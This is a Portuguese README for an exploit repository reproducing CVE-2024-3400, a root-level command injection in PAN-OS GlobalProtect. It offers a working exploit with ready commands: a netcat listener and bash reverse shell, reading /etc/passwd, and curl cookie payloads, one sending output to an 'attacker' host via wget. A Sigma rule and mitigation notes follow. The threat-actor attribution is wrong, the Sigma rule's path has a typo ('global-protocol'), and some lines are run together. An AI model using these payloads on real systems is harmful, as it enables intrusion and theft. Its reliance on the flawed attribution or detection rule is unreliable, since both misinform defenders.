Reprodução de cve-2024-3400-panos_rce_reproduction
CVSS 10.0 CRÍTICO | CWE-78: Injeção de Comando do SO | Explorado em Massa na Natureza
A CVE-2024-3400 é uma vulnerabilidade de injeção de comando pré-autenticação nas interfaces de portal e gateway do GlobalProtect do PAN-OS da Palo Alto Networks. A vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários com privilégios de root no firewall afetado.
A vulnerabilidade reside no tratamento do cookie de sessão do componente de portal e gateway do GlobalProtect. A função responsável por processar o cookie SESSID não sanitiza adequadamente a entrada fornecida pelo usuário antes de passá-la para um comando de shell.
Especificamente, uma requisição HTTP não autenticada ao endpoint do portal GlobalProtect (/global-protect/login.esp) com um cookie SESSID especialmente elaborado contendo metacaracteres de shell incorporados (aspas invertidas e expansão de variáveis) resulta em injeção de comando.
O caminho de código vulnerável opera da seguinte forma:
/global-protect/login.espSESSID é extraído sem sanitizaçãosystem() ou função similar de execução de comando do SOO payload de injeção utiliza comandos delimitados por aspas invertidas dentro do cookie SESSID:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
O path traversal (/../../../) sai do diretório pretendido, e a parte COMMAND entre aspas invertidas faz com que o shell execute a entrada do atacante. Redirecionamento de saída ou mecanismos de reverse shell podem ser usados para exfiltrar os resultados do comando.
| Versão do PAN-OS | Afetadas | Corrigida Em |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 | 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
Nota: PAN-OS 9.x e versões anteriores não são afetados. Cloud NGFW e Prisma Access não são afetados.
UNC4554 / Midnight Blizzard (APT29) foi observado explorando a CVE-2024-3400 como 0-day a partir de março de 2024. A Volexity publicou sua análise em 12 de abril de 2024. Os padrões de ataque incluíram:
Múltiplos PoCs públicos foram divulgados. Este repositório fornece um exploit funcional para testes autorizados.
requestspip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
Veja exploit.py neste repositório para um exploit Python completo com suporte a:
/global-protect/login.esp com cookies SESSID anormalmente longos ou suspeitos/../../) combinadas com caracteres de aspas invertidas/opt/panlogs/tmp/device_telemetry/ com extensões .pytitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (bloqueia o caminho de código vulnerável sem exigir reinicialização)/opt/panlogs/tmp/device_telemetry/SESSIDAplique o hotfix fornecido pela Palo Alto Networks. A correção sanitiza adequadamente a entrada do cookie antes da construção do comando de shell.
Se você suspeitar de exploração:
| Fonte | Link |
|---|---|
| Comunicado de Segurança da Palo Alto | https://security.paloaltonetworks.com/CVE-2024-3400 |
| Análise da Volexity | https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-command-injection-vulnerability-in-palo-alto-networks-pan-os/ |
| Registro NVD | https://nvd.nist.gov/vuln/detail/CVE-2024-3400 |
| Detalhes da CWE-78 | https://cwe.mitre.org/data/definitions/78.html |
| Catálogo KEV da CISA | https://www.cisa.gov/known-exploited-vulnerabilities-catalog |
| Técnica ATT&CK | https://attack.mitre.org/techniques/T1190/ |
Este repositório é fornecido somente para testes de segurança autorizados e fins educacionais. A exploração não autorizada desta vulnerabilidade é ilegal. Os autores não são responsáveis pelo uso indevido destas informações. Sempre garanta que você tenha permissão explícita por escrito antes de testar qualquer sistema.
Licença MIT - Este conteúdo é fornecido para pesquisa de segurança defensiva e testes autorizados.